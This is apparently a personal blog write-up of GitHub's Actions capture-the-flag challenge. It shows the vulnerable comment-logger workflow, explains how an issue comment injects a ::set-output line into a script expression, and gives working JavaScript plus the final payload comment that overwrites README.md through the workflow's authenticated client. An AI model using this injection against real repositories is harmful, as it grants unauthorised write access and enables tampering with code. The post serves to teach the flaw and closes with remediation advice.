How I solved github’s actions capture the flag challenge

Introduction

First of all, I’m aware it’s April 1st, I was thinking of some joke post but then I remembered that I have an actual serious post I’d like to write, so this is not any kind of joke.

The challenge & repo

A while back, Github posted a capture the flag challenge with github actions. The challenge was to go from having read-only access to write access in a repository.

The repository had only one file, a github actions workflow .github/workflows/comment-logger.yml.

This is the file:

name: log and process issue comments
on:
  issue_comment:
    types: [created]

jobs:
  issue_comment:
    name: log issue comment
    runs-on: ubuntu-latest
    steps:
      - id: comment_log
        name: log issue comment
        uses: actions/github-script@v3
        env:
          COMMENT_BODY: ${{ github.event.comment.body }}
          COMMENT_ID: ${{ github.event.comment.id }}
        with:
          github-token: "deadc0de"
          script: |
            console.log(process.env.COMMENT_BODY)
            return process.env.COMMENT_ID
          result-encoding: string
      - id: comment_process
        name: process comment
        uses: actions/github-script@v3
        timeout-minutes: 1
        if: ${{ steps.comment_log.outputs.COMMENT_ID }}
        with:
          script: |
            const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
            return ""
          result-encoding: string

So how could that github action be taken advantage of to gain repository write access?

Reading up

Github had provided some useful reading material and the first thing I stumbled across was the untrusted input documentation. When using user input in an action, it’s important to not evaluate the value as code.

I quickly realised that this was being done here:
COMMENT_BODY: ${{ github.event.comment.body }}
COMMENT_ID: ${{ github.event.comment.id }}

And here: ${{ steps.comment_log.outputs.COMMENT_ID }}

How could I abuse that?

Arbitrary code execution

This line of code was particularly interesting:

        const id = ${{ steps.comment_log.outputs.COMMENT_ID }}

Surely if I could set the COMMENT_ID value to some javascript code, that would be executed in the script.
The COMMENT_ID output was not being set, but the previous script was using the comment body to log to the console: console.log(process.env.COMMENT_BODY)
Could this be used to set COMMENT_ID?

Setting output

It turns out that you can set output by printing a special string to stdout. If I could print ::set-output name=OUTPUT_NAME::VALUE then that would set OUTPUT_NAME to VALUE. Furthermore, because the COMMENT_BODY variable was being set by a user’s arbitrary comment on an issue, I could essentially create a comment with that particular string, and force the output to be set.
I set to work creating an issue and trying to comment on it. The very first thing I tried was ::set-output name=COMMENT_ID::;. That caused a syntax error to happen! This meant that the COMMENT_ID output was indeed being set and executed in that const id = ... line.

Taking advantage of the vulnerability

Since I could execute arbitrary javascript code, could I use that to gain write access to the repo? Well it turns out there was a great attack vector in that github action :

    uses: actions/github-script@v3

The github-script action gives access to an authenticated github client, available at the github variable! This meant that I essentially had access to a github client with write access to the repo! All that was left was figuring out the correct API calls to abuse it.

It took a while, but I eventually wrote a proof of concept that modified README.md in the repository (which was the goal of the CTF):

(async () => {
  const res = await github.repos.getContent({
    "owner": "incrediblysecureinc",
    path: "README.md",
    repo: "incredibly-secure-errietta",
    ref: "refs/heads/main",
  });

  await github.repos.createOrUpdateFileContents({
    owner: "incrediblysecureinc",
    repo: "incredibly-secure-errietta",
    path: "README.md",
    message: "editing",
    content: "SSBkaWQgaXQ=",  // base64 for "I did it"
    branch: "main",
    "committer.name": "Erry Kostala",
    "committer.email": "YOUR_EMAIL",
    "author.name": "Erry Kostala",
    "author.email": "YOUR_EMAIL",
    "sha": res.data.sha
  });
})();

Now I just needed to make it fit in the set-output line so I could make it an issue comment.
This was the final issue comment:

::set-output name=COMMENT_ID::1;(async()=>{const e=await github.repos.getContent({owner:"incrediblysecureinc",path:"README.md",repo:"incredibly-secure-errietta",ref:"refs/heads/main"});await github.repos.createOrUpdateFileContents({owner:"incrediblysecureinc",repo:"incredibly-secure-errietta",path:"README.md",message:"editing",content:"SSBkaWQgaXQ=",branch:"main","committer.name":"Erry Kostala","committer.email":"email","author.name":"Erry Kostala","author.email":"email",sha:e.data.sha})})();

With this well-crafted comment, I watched the github action run

And.. success! I exploited a vulnerability to arbitrarily change the contents of a file in the repo, all by just commenting on an issue!

Conclusion

I think this CTF illustrates how important it is to be extremely careful with user input. Never trust arbitrary input in your scripts, use methods to escape it and think twice as to whether it’s actually necessary to use that input in your code. The github actions untrusted input article also has some remediation suggestions to prevent this from happening.

    Leave a Reply

    Your email address will not be published. Required fields are marked *

    This site uses Akismet to reduce spam. Learn how your comment data is processed.